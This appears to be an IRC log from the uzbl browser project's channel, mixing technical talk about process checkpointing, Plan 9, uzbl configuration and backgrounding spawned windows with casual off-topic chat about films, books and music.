04:56 < jrm8005> by saying `but all we need is http' is flawed, because no one is going to write a migration tool that just restored http connections.
04:56 < dxdx> i'm not going to write a migration tool
04:56 < dxdx> i just want to freeze uzbl
04:56 < dxdx> and only uzbl
04:57 < dxdx> i know migration/freezing tools are not perfect and pretty flawed, but what they do is enough for uzbl
04:57 < jrm8005> in that context, having every program dump it's file state is `enough'
04:58 < jrm8005> C/R is about more than just the visible state.
04:58 < jrm8005> using C/R for something like that is kind of like using an atomic bomb to squash an ant.
04:59 < bct> N30N: just tested wikipedia/bla, no crash for me.
04:59 < dxdx> if you say that a screenshot is enough to keep visible state and squash an ant, then i agree
04:59 < jrm8005> who said screenshot?
04:59 < jrm8005> I'm pretty sure I didn't.
05:00 < dxdx> it's the best tool i can think to squash an ant
05:00 < jrm8005> did you forget your medication today or something?
05:00 < dxdx> -.-
05:00 < dxdx> ok, don't troll
05:00 < jrm8005> maybe it went over my head or something.
05:00 < uranther> dxdx, a migration tool for what? I just came in :P
05:01 < jrm8005> uranther: processes.
05:01 < uranther> ?
05:01 < jrm8005> although it looks like it only does C/R, not migration
05:01 < dxdx> 23:31 < dxdx> it would be pretty cool to freeze single uzbl instances to save memory
05:01 < jrm8005> (a particular C/R tool for Linux was mentioned)
05:01 < uranther> like hardcore session saving?
05:01 < jrm8005> uranther: no, process snapshot/checkpoint
05:01 < dxdx> that is my only point, the result was quite deformed by the trolling
05:02 < N30N> bct: are you using x86_64?
05:02 < jrm8005> dxdx: I mentioned migration. A NEW CONTEXT.
05:02 < dxdx> jrm8005: yup
05:02 < jrm8005> you proceeded to reply IN THAT CONTEXT
05:02 < jrm8005> and sounded like an idiot.
05:02 < dxdx> sure
05:02 < bct> N30N: yup. on gentoo.
05:02 < dxdx> but i'm also considering that with local freezing sockets are probably lost
05:03 < N30N> bct: hmmm know what version?
05:03 < jrm8005> it says they aren't.
05:03 < dxdx> if you have tcpcp
05:03 < bct> N30N: of webkit? 1.1.10
05:03 < dxdx> which you probably haven't, and will not have on remote hosts
05:03 < jrm8005> possibly not.
05:04 < dxdx> s/will not have/will not work/
05:04 < jrm8005> of course, by the time anyone thinks about making this do migration, I'm sure local socket regen will be done.
05:04 < N30N> bct: ta, donno how to track this bug donw now tho xD
05:04 < jrm8005> actually, I kind of thought of a way you could get around it.
05:04 < jrm8005> you'd have to have a shadow process on the original computer that the sockets were migrated to which could forward traffic.
05:05 < jrm8005> host A would still be receiving traffic, and acting as a proxy, but you could keep inbound connections established.
05:05 < dxdx> yeah, or maybe something in a NAT-ing firewall
05:05 < jrm8005> dxdx: I doubt that would work on an established connection
05:05 < dxdx> why not? the firewall keeps the connection, then changes the redirection when it is notified to do so
05:06 < jrm8005> it would def. only work if the migrated from and to machines are inside the firewall
05:06 < dxdx> of course it needs hardcore iptables hacking
05:06 < jrm8005> dxdx: unfortunately TCP and IP are wound together in strange, unknown ways.
05:06 < jrm8005> maybe nothing would go bad
05:06 < jrm8005> but it might.
05:07 < jrm8005> and again, unless To and From machines are inside the same wall, no joy.
05:07 < dxdx> oh, good point
05:07 < dxdx> well, but going back to the context of uzbl
05:07 < jrm8005> the shadow forwarder is the best general solution, assuming you can overlay the checkpoint/migrated process
05:07 < dxdx> you can still lose all the sockets and the migration might be successful
05:08 < dxdx> jrm8005: or just tcpcp them
05:09 < jrm8005> dxdx: only if the connection is not important, isn't in the middle of something when the checkpoint happens, and both ends know to regen the connection
05:09 < jrm8005> or have the connection regenerated on them.
05:11 < dxdx> which is what i said, **in the context of uzbl migrations**, the HTTP connections are never important (it's a protocol almost designed to fail)
05:12 < jrm8005> i agree http is made to fail.
05:12 < jrm8005> it is so full of fail it's not funny.
05:12 < dxdx> lol
05:12 < jrm8005> they're not important in uzbl because by the time to C/R uzbl, there won't be any open connections.
05:12 < jrm8005> the domain socket will be there, but theoretically that should be easy to do.
05:14 < dxdx> yeah, and we'd still have to do some stuff before checkpointing and after restoring because of the GUI (it says GTK support is experimental but potentially needs support from the application)
05:15 < jrm8005> yeah. Probably not happening.
05:15 < jrm8005> ever.
05:16 < dxdx> well, killing all widgets, the window, and the event loop isn't hard
05:16 < dxdx> and almost guarantees success :P
05:17 < jrm8005> killing GTK with a 12 bore shotgun would also work.
05:17 < dxdx> i'd keep that alive, we can't replace it when restoring (and the webkit FLTK port sucks)
05:18 < jrm8005> I was making a joke about how GTK is shit.
05:19 < dxdx> i was continuing the joke by considering replacing it with FLTK, and now i'm explaining the joke and ruining all that "potential fun"
05:20 < jrm8005> but fltk is nice...
05:20 < dxdx> but the webkit port is not, unfortunately
05:20 < jrm8005> small, simple
05:20 < jrm8005> yeah
05:20 < jrm8005> that's too bad. I didn't know anyone even tried.
05:22 < dxdx> some guy said he'd been hacking it for three months, posted two screenshots, and nothing else. i couldn't found the actual code, hope it is in some obscure VCS repo
05:22 < jrm8005> :(
05:22 < jrm8005> I really wish one of the 9fans would put a libdraw wrapper around it...
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05:25 < jrick> dxdx: this? http://terryxu2008.blogspot.com/2008/08/webkit-runs-on-fltk.html
05:26 < dxdx> jrick: that
05:26 < jrick> why not email him?
05:27 < uranther> i've got plan9 in a VM
05:27 < uranther> it's scary
05:27 < dxdx> i'm not really interested, but it's not the best way to distribute the code either
05:27 < dxdx> lol@uranther
05:27 < jrm8005> how is it scary?
05:27 < uranther> it's completely different from *nix.. i dont know what to do
05:27 < uranther> after i figured out the command "rio" i couldn't figure out how to run programs
05:28 < uranther> then i quit
05:28 < jrm8005> hold down the right mouse button
05:28 < jrm8005> select new
05:28 < jrm8005> hold down right mouse button again, drag. When window is big enough, release.
05:29 < dxdx> the average windows user would have already said "this is the worst operating system ever, everything is just wrong, whoever did this is evil"
05:29 < uranther> h/o lemme fire it up
05:29 < jrm8005> people who think different is bad are very... pitiful.
05:29 < uranther> i really like the whole idea behind plan9
05:30 < uranther> rio is network transparent without any effort on its part, really
05:30 < jrm8005> uranther: yes.
05:30 < uranther> which is sweet
05:30 < uranther> down with X!
05:30 < jrm8005> everything in plan9 is network transparent in plan9
05:30 < jrm8005> erg... s/in plan9/due to 9p
05:30 < jrm8005> that and only speaking to files.
05:30 < jrm8005> uranther: you can also run rio in a rio window.
05:31 < jrm8005> so you can do something like cpu to another machine, then run rio in that window on the other machine.
05:31 < uranther> sweetness
05:31 < jrm8005> the filesystem isn't actually a filesystem, it's a namespace, and everything can have  a private namespace
05:31 < jrm8005> so if you have multiple windows open, if you ls /dev
05:32 < jrm8005> you should see multiple files all called window
05:32 < jrm8005> but when you're in a window, /dev/window means *that* window's /dev/window.
05:32 < jrm8005> at first it seems strange, but then you realize what you can do with it and shit bricks.
05:32 < jrm8005> and then realize something like what one of my old professors said:
05:33 < jrm8005> ``I do not know much about Plan 9, other than that people should be punished for not using it''
05:36 < jrick> jrm8005: have you sent your email yet?
05:36 < jrick> I'd love to read more about that
05:36 < jrm8005> jrick: yes, I sent it a few hours ago
05:37 < jrick> hmm, I didn't see it...
05:37 < jrm8005> oh, it's pending moderation.
05:37 < jrick> ah
05:39 < uranther> interesting
05:42 < jrm8005> the UI is very sparse, but if you can just accept the fact that most UI elements are distracting, unnecessary noise, you'll come to find that rio and the GUI plan 9 programs really fit quite well and are very efficient.
05:42 < jrm8005> the plumber is really cool.
05:42 < jrm8005> you write rules for different kinds of data, and then any program can `plumb it', and it will just magically do whatever should be done.
05:43 < uranther> D:
05:43 < jrm8005> so a compiler error message like foo.c:200 will go to your editor when you plumb the text
05:43 < jrm8005> I wrote a rule that lets me plumb coordinates to a mapping program
05:43 < jrm8005> it's basically pipes, but way, way cooler.
05:43 < jrm8005> hence the name plumber.
05:43 < uranther> so you run uzbl on plan9?
05:44 < jrm8005> no, I'm on Linux
05:44 < uranther> oh
05:44 < jrm8005> I don't think anyone has tried to port webkit to plan 9
05:44 < uranther> you just run plan9 on another machine i guess
05:44 < jayzer> why would a website that looks just fine in arora look awful in uzbl?
05:45 < jayzer> i think it might have to do with font settings
05:46 < jayzer> the zoom level
05:46 < jayzer> hmm
05:47 < jayzer> really odd
05:50 < dxdx> jayzer: try with midori
05:52 < jayzer> k
05:55 < jayzer> slightly off in midori as well, so i can probably fix something there
05:55 < jayzer> but it looks fine in safari
05:55 < jayzer> well, because the fonts are configured properly
06:06 < jrm8005> oh, btw, uranther, to move a window, just right click on the border and draw.
06:06 < jrm8005> drag*
06:06 < jrm8005> man rio in a term will help.
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08:34 < ruskie> good morrow all
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09:03 < Dieterbe> morning dudes
09:07 < dxdx> night dudes
09:07 < dxdx> (4am)
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09:56 < ruskie> hmm will the default cookie support for uzbl always be in memory only?
09:58 < ruskie> also any plans to better support proxies by possibly using socks4a/socks5 to push dns through as well
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10:02 < github> uzbl: Dieter Plaetinck experimental SHA1-9a32a5f
10:02 < github> uzbl_tabbed is now included with sample scripts
10:02 < github> http://bit.ly/17zvWl
10:02 < github> uzbl: Dieter Plaetinck experimental SHA1-27ec0be
10:02 < github> todo updates
10:02 < github> http://bit.ly/1fQWZ8
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12:29 < github> uzbl: Moritz Lenz experimental SHA1-8c3f08f
12:29 < github> small nits wrt git usage
12:29 < github> http://bit.ly/ZIks5
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12:36 < bob_f> ruskie: The "default" cookie support for uzbl is to use the webkit cookie handler (i.e. in-memory only).
12:36 < bob_f> ruskie: But example scripts are included for handling cookies.
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13:09 < ruskie> bob_f, yeah just wondering if the default will evel change... I actually like the in-memory handling... infact what I'd like is in-memory unless I want to store it permanently ;)
13:17 < ruskie> lazzareth_, found another feature request... :qa to be able to close all the open tabs and tabbed in one ;)
13:18 < lazzareth_> ruskie, Interestingly I didnt add in a kill option.
13:18 < lazzareth_> Easily done.
13:18 < ruskie> just find it annoying to go :q in each and every tab since at times I can have a lot of them open ;)
13:18 < lazzareth_> You have amazing timing, I just sat down after coming home from 11 hours of work.
13:18 < ruskie> get some rest then?
13:19 < lazzareth_> ruskie, Just press ZZZZZZZ
13:19 < lazzareth_> Nah its only 19:18
13:19 < ruskie> :q_ is my quit combo ;)
13:19 < lazzareth_> ruskie, But I will add that command.
13:19 < lazzareth_> Dieterbe, Whats up? http://github.com/Dieterbe/uzbl/commit/27ec0befc51448c23a4fda5110d16cef31e6eb5b#L0R43 something wrong with the session path?
13:20  * ruskie powers down for a bit to replace some noisy fans
13:20 < ruskie> tux put on ice ;)
13:20 < Dieterbe> lazzareth_: yes. like i messaged you on github
13:22 < lazzareth_> Dieterbe, It is though.   session_file = os.path.join(data_dir, 'session')   and data_dir = os.path.join(os.environ['XDG_DATA_HOME'], 'uzbl/')   or  data_dir = os.path.join(os.environ['HOME'], '.local/share/uzbl/')
13:23 < lazzareth_> My session file appears perfectly at $HOME/.local/share/uzbl/session
13:24 < lazzareth_> I got your message on github but I didn't know how to make sense of the problem.
13:24 < Dieterbe> hold on let me see
13:24 < Dieterbe> line 53: #   set session_file        = $HOME/.local/share/session
13:25 < lazzareth_> Ohhhh, In the documentation.
13:25 < lazzareth_> Yes, I see now.
13:25 < bob_f> I'm trying to see when development started on uzbl, but clicking "Older" on github a gazillion times seems inefficient. :)
13:27 < Dieterbe> bob_f: IIRC on april 21st i made the first commit and april 22nd i announced it on arch forums or so
13:28 < bob_f> Aw, it's a little baby.
13:28 < bob_f> Dieterbe: I'm going to try to look at finding a nice way to get this cookie stuff happening directly over a socket instead of needing to call that shell script.
13:29 < Dieterbe> right. your mail is still in my todo folder
13:29 < bob_f> I might bug you a little later to ask you some questions about the best way to go about doing it.
13:30 < bob_f> If that's okay. :)
13:31 < Dieterbe> sure
13:31 < Dieterbe> lazzareth_: other then that, the file locations look good indeed
13:32 < noisetonepause> for a little baby it's quite usefull
13:33 < bob_f> noisetonepause: Yep, it's the only browser I use on my Eee.
13:34 < bob_f> Which is the only computer I've used at home since I got it.
13:34 < bob_f> I'm a webdev though, so I need firebug etc. at work.
13:34 < noisetonepause> sorry to hear that
13:34 < bob_f> To hear what ?
13:35 < noisetonepause> that you're a web developer:)
13:35 < bob_f> Heh. I like it. It's still just programming.
13:47 < lazzareth_> bob_f, Develop in Python?
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13:57 < bob_f> lazzareth_: Yup.
13:57 < lazzareth_> bob_f, Whats your framework of choice?
13:57 < bob_f> Pylons.
13:58 < bob_f> Depending on what the app is. I think Nevow is great too.
13:58 < lazzareth_> Nice, mine too.
13:58 < lazzareth_> Pylons that is.
13:58 < bob_f> Yeah, it's a really nice framewrok.
13:58 < lazzareth_> bob_f, Did you ever develop in PHP back in the day?
13:58 < bob_f> A friend of mine described it as "boring" the other day.
13:58 < bob_f> He meant that as a complement. :)
13:59 < bob_f> lazzareth_: Heh, yes, when I was a kid I wrote PHP and Perl.
13:59 < bob_f> What am I talking about, I'm still a kid. :)
13:59 < lazzareth_> I really hated php purely for a how awkward it was to determine what the hell type of data structure you where working with and the fact that dictionaries are lists also.
14:00 < bob_f> Yup. PHP is certainly terrible.
14:00 < bob_f> Fortunately I didn't know anything about programming when I used it, so I didn't have to worry about that kind of stuff. ;)
14:01 < Phillemann> To start programming stuff PHP is great. :)
14:01 < Phillemann> Not for anything serious or performance-critical, though.
14:02 < lazzareth_> Phillemann, Its like the VB of the non-vb programming languages -- if you know what I mean.
14:02 < bob_f> PHP is definitely one language I will never use again unless I'm forced into it. There aren't many languages I'll say that about.
14:02 < Phillemann> lazzareth_: Hehe
14:02 < lazzareth_> I think that sums it up perfectly.
14:03 < lazzareth_> I just saw a funny video: http://www.youtube.com/watch?v=Xfqht0LEOWQ
14:05 < lazzareth_> British humour cracks me up.
14:06 < Dieterbe> hehe
14:06 < Dieterbe> oh no wait not that ! :)
14:07 < bob_f> lazzareth_: This one's better. ;) http://www.youtube.com/watch?v=7sanplNTr6c
14:07 < lazzareth_> THE ATHEISTS NIGHTMARE.
14:07 < lazzareth_> bob_f, Laughing stock.
14:08 < bob_f> Hehe.
14:08 < lazzareth_> bob_f, That guys never seen a real banana.
14:08 < bob_f> Man, I need to stop getting wasted on Fridays. I pay for a piano rehearsal room every Saturday and I hate being hungover for it.
14:09 < bob_f> I don't remember coming home last night. :(
14:09 < lazzareth_> http://en.wikipedia.org/wiki/File:Inside_a_wild-type_banana.jpg
14:09 < lazzareth_> bob_f, You know how to play the Piano?
14:11 < Dieterbe> eeeeewwwww is that a banana? o_O
14:11 < bob_f> lazzareth_: Yup.
14:11 < lazzareth_> Dieterbe, A real banana.
14:11 < lazzareth_> bob_f, I regret not learning as a child.
14:13 < bob_f> Yeah, I started when I was 10, so 15 years.
14:14 < bob_f> Here's a short recording if you're interested: http://www.noiseforfree.com/music/piano/24.mp3
14:14 < Dieterbe> yes piano is complicated. tried learning it a few times but gave up :P
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14:20 < lazzareth_> Thats incredible bob_f
14:20 < bob_f> Heh, thank you.
14:21 < lazzareth_> Makes me want to storm out the door and find a piano teacher.
14:21 < bob_f> Eh, teach yourself !
14:21 < bob_f> I did.
14:22 < bob_f> (Not really - find yourself a good piano teacher, you'll improve a whole lot quicker).
14:22 < bob_f> Well, I believe so, anyway. I'm considering taking lessons one day
14:23 < bob_f> I've got a lot of bad habits, and I can't play anything other than my own stuff, so those are things I'd like to change.
14:23 < lazzareth_> :D
14:24 < bob_f> Anyway, gotta run - catch you later. :)
14:27 < lazzareth_> Seeya
14:29 < Dieterbe> that doesn't sound too bad indeed
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14:37 < lazzareth_> Dieterbe, Do you read many books?
14:38 < Dieterbe> no
14:39 < lazzareth_> Oh, I thought I might be able to get a good book-list out of you.
14:40 < Dieterbe> you can get a list of good music albums out of me :)
14:40 < Dieterbe> and some movies.  but not books
14:40 < lazzareth_> I recently grabbed all the movies in this list: http://snarkerati.com/movie-news/the-top-50-dystopian-movies-of-all-time/
14:41 < lazzareth_> I've only seen about 5-6 of them
14:41 < lazzareth_> Rather enjoyed Logan’s Run when I watched it the other day.
14:41 < lazzareth_> And A Clockwork Orange blew me away.
14:42 < Dieterbe> ah that's one on my todo lit
14:42 < Dieterbe> list*
14:47 < scj> district 13 as a dystopian movie? that's a bit of a stretch
14:48 < scj> also; dark city at #30 is total bullshit
14:49 < lazzareth_> Do you think it lands in the top 10?
14:49 < scj> easily
14:49 < scj> top 5
14:49 < lazzareth_> I enjoyed it enough to remind myself to watch it again.
14:49 < lazzareth_> But it's been a while.
14:50 < scj> it's leaps and bounds better than the matrix, which they placed at #7
14:53 < scj> and for some reason, they managed to miss http://www.imdb.com/title/tt0064177/
15:09 < noisetonepause> radford's 1984 at #39
15:09 < noisetonepause> pshaw
15:09 < lazzareth_> I loved that movie
15:10 < noisetonepause> yeah, it's amazing
15:11 < noisetonepause> i had it on vhs but binned it due to an out of proportion attack of techno-optimism
15:11 < noisetonepause> it might actually be easier for me today to watch vhs than a dvd
15:12 < noisetonepause> since i've got a computer with a composite video input and an old vcr
15:12 < noisetonepause> but no computer that'll play dvds
15:12 < noisetonepause> funny how that goes..
15:15 < ruskie> bob_f, hmm interesting though not really what I tend to enjoy ;)
15:15 < ruskie> lazzareth_, Discworld by Terry Pratchett :)
15:19 < lazzareth_> I have a friend who only reads Terry Pratchett. I don't tend to read much fiction though.
15:20 < ruskie> ahhh
15:20 < ruskie> then I'm a bad source for a book list for you
15:20 < lazzareth_> The book I'm currently (just started) reading is Godel, Escher, Bach: an eternal golden braid
15:20 < noisetonepause> how are you liking it?
15:20 < ruskie> Fantasy or Sci-Fi or Speculative fiction(1984, Little Brother and similar)
15:20 < lazzareth_> ruskie, 1984 being the exception
15:21 < lazzareth_> noisetonepause, Havent even got to the first chapter yet
15:21 < lazzareth_> :D
15:21 < noisetonepause> lazzareth_: haha, ok
15:21 < noisetonepause> i don't remember how far i got
15:21 < ruskie> lazzareth_, try little brother from Doctorow
15:21 < noisetonepause> not very
15:21 < noisetonepause> it's onthe list, though
15:21 < ruskie> it's more contemporary
15:22 < lazzareth_> I'm reading his revised intro at the moment which is basically 20 pages about how hard it was to type-set in the 70's and how nobody seems to get what the book is about.
15:22 < lazzareth_> So I cant really do any better myself :P
15:22 < bjoernfan> I just read Kafka's The Metamorphosis and I have no idea of what to make of it.
15:22 < noisetonepause> ruskie: have you read paul auster's in the country of last things?
15:22 < lazzareth_> brb
15:22 < ruskie> hmm we had to read The Metamorphosis in high school
15:22 < ruskie> worst thing I ever had to read
15:23 < ruskie> and I love reading
15:24 < scj> bjoernfan: life is shit and occasionally you turn into a bug
15:24 < bjoernfan> I hate it when that happens.
15:30 < bjoernfan> Video games
15:30 < bjoernfan>     * Bad Mojo is a 1996 computer game, the storyline of which is loosely based on The Metamorphosis.
15:30 < bjoernfan> Haha, whaaat
15:32 < noisetonepause> http://arstechnica.com/gaming/news/2009/07/universal-plans-to-bring-asteroids-to-theaters.ars
15:33 < noisetonepause> ^^not as weird as that...
15:33 < Dieterbe> okay this going way OT
15:34 < lazzareth_> noisetonepause, Incredible.
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15:35 < lazzareth_> Dieterbe, Hey I sent you a message on github with the fix to the documentation for uzbl_tabbed.py
15:36 < lazzareth_> I haven't done anything crazy in the last 2 days so you should be right to pull.
15:36 < Dieterbe> i saw
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16:09 < lazzareth_> I get a kick out of reading these every now and then http://qdb.us/top I haven't seen most of these before.
16:16 < lazzareth_> Dieterbe, Thought about making a reddit.com/r/programming submission announcing the alpha release of uzbl?
16:16 < ruskie> how about a freshmeat announce as well
16:16 < lazzareth_> or /r/linux
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16:17 < lazzareth_> /r/linux really love their "configurbation".
16:18 < Zaba_> uzbl.c:1525: warning: field width should have type ‘int’, but argument 2 has type ‘gsize’
16:19 < Dieterbe> lazzareth_: ruskie do what you want
16:20 < ruskie> Dieterbe, well on freshmeat one generally set's up a project page... so if you're happy with me having that dubious honour no prob... or I can create one in uzbl name and send you the info in case you ever want it ;)
16:21 < Dieterbe> i think i'm missing something.  i'm sure there are like 100 "open source project tracker" websites out there.
16:21 < Dieterbe> what's the use of registering your project on several (or one) of them?
16:22 < ruskie> exposure
16:22 < Dieterbe> i mean, we have uzbl.org and a github page
16:22 < ruskie> some people only frequent some sites
16:22 < ruskie> I tend to only check freshmeat for new projects/releases
16:22 < ruskie> some only check directory.fsf.org
16:22 < ruskie> others some other site
16:23 < Dieterbe> if they only frequent some sites, it means they are not actively searching to improve their workspace.
16:23 < Dieterbe> if they really want a better browser, they will search for it
16:24 < ruskie> can't agree with neither of those statements ;)
16:27 < Dieterbe> that's a double negative
16:27 < Dieterbe> so you agree with both? :0
16:29 < ruskie> I disagree with both
16:30 < ruskie> anyway out
16:30 < lazzareth_> Hes in a Schrödinger state of agreement.
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16:38 < lazzareth_> http://www.reddit.com/r/programming/comments/8y6pr/uzbl_the_browser_had_its_first_alpha_release_this/
16:39 < Dieterbe> ugh
16:40 < lazzareth_> ugh?
16:42 < Dieterbe> hgu
16:43 < lazzareth_> uhg?
16:43 < lazzareth_> ghu
16:43 < N30N> gnu?
16:43 < lazzareth_> Thats all the permutations of [g,h,u] possible.
16:43 < lazzareth_> Whoops
16:43 < lazzareth_> guh also
16:49 < lazzareth_> Wheres holizz at?
16:49 < lazzareth_> Did he ever finish that "new-window-handler" ?
16:54 < lazzareth_> I'd love to see something like that working. I.e. something like 'set window_handler = sh "uzbl --uri %s"' so I can overwrite it to spawn a uzbl_tabbed.py window like 'set window_handler = sh "echo \'new-window %s\' > \'/tmp/uzbltabbed_fifo\'"'
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17:26 < lazzareth_> Theres just something about working an 11 hour day and coming home and doing nothing.
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17:27 < lazzareth_> holizz, Yo
17:27 < holizz> Hi, lazzareth_
17:27 < lazzareth_> holizz, How'd your window_handler go?
17:29 < holizz> I made it work, except for the fact that using run_handler meant that uzbl froze until the spawend process completed.
17:29 < holizz> It wasn't even happy using "uzbl -u $8 &".
17:30 < holizz> But I wanted the spawned process to have all the arguments that run_process sends.
17:30 < Phillemann> So, you all use polipo or privoxy for ad blocking?
17:32 < lazzareth_> holizz, Is it possible to run a command similarly to: sh "uzbl --uri %s &" and be done with it? Execute new window commands as any other shell spawn?
17:33 < holizz> Phillemann, I don't. I just allow the adverts for the time being. I'd prefer an integrated approach so I don't have to set up a server.
17:33 < Phillemann> holizz: Yeah, me too
17:33 < holizz> lazzareth_, That's what I was trying to do, with the &... but for some reason it doesn't accept that. I'm not sure why.
17:34 < lazzareth_> Bizarre.
17:34 < lazzareth_> No idea why?
17:35 < holizz> lazzareth_, I know that if you open a shell, then run "something &", and you exit the shell, that process dies too. I imagine this is somehow related.
17:36 < holizz> Phillemann, If my Python clone of uzbl gets anywhere, there'll be adblocking which can be integrated - hopefully it'll be able to read the lists that Firefox's Adblock Plus does so I don't have to compile my own lists.
17:36 < lazzareth_> holizz, Chuck a post up on http://stackoverflow.com/ :)
17:36 < holizz> lazzareth_, Good idea.
17:36 < rob|_> sighup
17:36 < lazzareth_> Spawning a non-blocking process in c
17:36 < Phillemann> You can either use nohup or disown to prevent that
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17:36 < Phillemann> I personally use disown. command & disown; exit
17:37 < lazzareth_> Oh wow. Disown works.
17:37 < Phillemann> holizz: The lists from AdBlock Plus are really easy to read, just one line, one pattern (I think it's some kind of globbing, not real regexes).
17:38 < holizz> Phillemann, I know. The hard part is making the uzbl clone in Python ;).
17:38 < Phillemann> holizz: Is the configuration done in python, then?
17:38 < lazzareth_> Phillemann, Got any raw lists lying around (I want to have a play with them)
17:39 < holizz> Phillemann, Have you seen the state of the project? It's pretty much a wrapper around pywebkitgtk with a statusbar at the moment.
17:39 < Phillemann> lazzareth_: Hm, I don't remember where I extracted them from
17:39 < lazzareth_> holizz, What project is that?
17:39 < holizz> lazzareth_, https://easylist.adblockplus.org/easylist.txt
17:40 < holizz> lazzareth_, http://github.com/holizz/pyweb/tree/master
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17:40 < Phillemann> holizz: Sure, any uzbl-like browser starts as a wrapper for *webkit with a status bar.
17:40 < holizz> I was going to add some functionality on the train yesterday, but when doing that I figured out how to fix a bug in uzbl. So I did that first.
17:40 < Phillemann> holizz: But what are your _plans_? ;)
17:43 < holizz> Phillemann, Not entirely sure at the moment. It should be pretty easy to get it to behave like uzbl being that it's using the same libraries, just in Python.
17:43 < Phillemann> holizz: I see that you don't strictly adhere to the unix philosophy by adding, for example, integrated ad blocking. Will there be other monolithic changes like that?
17:43 < kw-> hah, it seems vimperator/uzbl-like browsers become the next tiling window managers. :)
17:44 < Phillemann> I mean...I'd welcome that.
17:44 < Phillemann> It would be not just a uzbl clone but a slightly different approach altogether. :)
17:46 < holizz> Phillemann, Ah now, this is an interesting subject. What I think will happen is that my clone will not be that un-unix-like. Hooks could be provided for things to be handled, and you could, like in uzbl, use shellouts... but with a configfile written in Python, you could just as eaisily use native functions.
17:47 < holizz> So instead of "set cookie_handler = spawn foo.sh", you could use "cookie_handler = handle_cookies" (where handle_cookies is a function).
17:49 < Phillemann> Ah yes, that would be very nice
17:52 < holizz> This is why I was hoping uzbl would adopt a JavaScript-based config file.
17:56 < holizz> Just tried: set new_window = sh 'uzbl -u $8 & disown'
17:56 < holizz> Didn't work.
18:02 < lazzareth_> I know its not the same but it works in python :)
18:02 < lazzareth_> >>> os.system("/usr/bin/uzbl") blocks >>> os.system("/usr/bin/uzbl & disown") doesnt block
18:02 < Zaba_> it depends on the shell you have on /bin/sh
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18:06 < holizz> Zaba_, In the uzbl config, none of sh,zsh,bash,dash work. Do you know of one that does?
18:06 < Zaba_> um?
18:06 < holizz> You seemed to suggest that it might work if you used a different shell.
18:07 < Zaba_> where did you try to use zsh/bash/dash in the config?
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18:08 < holizz> set shell_cmd = sh -c
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18:45 < ktne> hello
18:45 < ktne> how do i install uzbl on ubuntu9?
18:46 < N30N> ktne: http://www.uzbl.org/wiki/howtos
18:46 < ktne> thanks
18:47 < bct> N30N, can you point me to your link follow script again?
18:48 < bct> i accidentally halted my server and lost the scrollback :(
18:48 < N30N> bct: will check the log :)
18:49 < bct> thanks!
18:49 < scj> bct: http://pastebin.com/d2c6ac858
18:50 < ktne> i've installed uzbl
18:50 < ktne> but when i launch it i see no gui
18:50 < ktne> just a blank window
18:51 < scj> that's the amount of gui you'll get
18:51 < N30N> ktne: that's uzbl
18:51 < ktne> and it doesn't read an url from  command line
18:51 < N30N> ktne: use the -u flag ?
18:51 < ktne> oh, you need -u
18:51 < ktne> it should work without -u too
18:51 < scj> ideally
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18:55 < holizz> "just a blank window" "that's uzbl"
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18:56 < N30N> holizz: could be the new slogan :D
18:57 < ktne> hmm
18:57 < ktne> i can't get into insert mode
18:57 < holizz> ktne: Are you using a config file?
18:57 < ktne> no
18:58 < holizz> ktne: There's no defaults. If you don't use a config file you, then uzbl is just a WebKit WebView with a status bar.
18:59 < N30N> ktne: try start with the readme
18:59 < ktne> holizz: i loaded google and i desire to change the form
18:59 < ktne> i press i
18:59 < ktne> but the mode doesn't change
19:00 < holizz> Copy the provided config file into ~/.config/uzbl/
19:00 < bct> erm... N30N, how do I get uzbl to load that script?
19:00 < holizz> It should be here if you installed it: /usr/share/uzbl/examples/config/uzbl/config
19:01 < scj> bct: by using a load_commit_handler that calls "script <file>"
19:01 < bct> aaah, ok.
19:01 < N30N> bct: load_commit_handler would be better
19:02 < N30N> ermm brainfart
19:02 < rob|_> ktne: alternatively:  echo 'bind i = toggle_insert_mode' | uzbl -c - -u YOURURI
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19:02 < N30N> bye ktne xD
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19:03 < holizz> Probably Ubuntu users are not our target demographic.
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19:05 < ktne> does uzbl support mouseless browsing?
19:05 < holizz> ktne: To an extent.
19:06 < scj> ktne: yes, there are a bunch of scripts that emulates vimperator
19:06 < ktne> i want to be able to select a link using the keyboard
19:06 < holizz> Although links which open in a new window may pose a problem - that's proved quite tricky to fix.
19:07 < scj> ktne: you have follow_Numbers_Strings.js and linkfollow.js in your examples/data/scripts dir
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19:43 < proppy> Hi, I'm trying to compile uzbl from source and I get the following error: uzbl.h:83: error: expected specifier-qualifier-list before ‘WebKitWebInspector’
19:44 < proppy> ah, maybe it is because of libwebkit-dev Version: 1.0.1-4
19:44 < proppy> instead of 1.2
19:45 < Zaba_> yeah, update
19:46  * proppy afraid of compiling webkit from source
19:46 < dxdx> gentoo or what?
19:47 < Zaba_> it took whopping 53 minutes to compile webkit here
19:48 < proppy> dxdx: 'buntu
19:49 < dxdx> proppy: and isn't there any package available?
19:49 < proppy> dxdx: yes but libwebkit-dev Version: 1.0.1-4
19:50 < dxdx> i meant a newer version than that
19:51 < proppy> max is 1.1.10-2 in debian unstable
19:52 < proppy> will compile a snapshot
19:52 < dxdx> 1.1.10 is what you need
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19:53 < dxdx> 1.2 doesn't exist yet
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19:56 < proppy> ah I missread  libwebkit 1.1.4 or higher
19:56 < proppy> sorry
19:56 < proppy> dxdx: thanks for the correction
19:58 < bob_f> ruskie: Hmm ?
19:58 < bob_f> Oh, the music.
19:59 < bob_f> scj: Yes, that definitely is a stretch. I don't really remember too much about the plot etc. :)
20:01 < bob_f> lazzareth_: What kind of books do you like ?
20:01 < dxdx> firefox had the bad idea of opening uzbl.org/irc-log as plaintext
20:02 < bob_f> What's wrong with that ?
20:02 < dxdx> it started well, but then hung and got the cpu usage at 100% without any ui feedback
20:02 < dxdx> it's a 3mb text file
20:03 < bob_f> Ah. :)
20:05 -!- Irssi: #uzbl: Total of 88 nicks [0 ops, 0 halfops, 0 voices, 88 normal]
20:06 < bob_f> lazzareth_: Make sure you watch They Live - fantastic movie.
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20:12 < bob_f> Oh, sweet, Wings of Desire and #4. One of my favourite films.
20:13 < Cheeseum> oh wow
20:14 < Cheeseum> I've gotten so used to uzbl's commands
20:14 < Cheeseum> I'm typing b and m trying to cycle through irssi channels
20:19 < dxdx> Dieterbe: check gitmail (!)
20:19 < dxdx> tl;dr my makefile branch is fixed, can i has merge?
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20:26 < james1> Hey guys, great browser
20:26 < james1> I'm having a bit of trouble getting the tabbing script to work
20:27 < james1> On the wiki it says to put "MSG" somewhere in the status format section of my config.
20:29 < ruskie> if you want to
20:29 < ruskie> it's probably in there by default(i.e. example config)
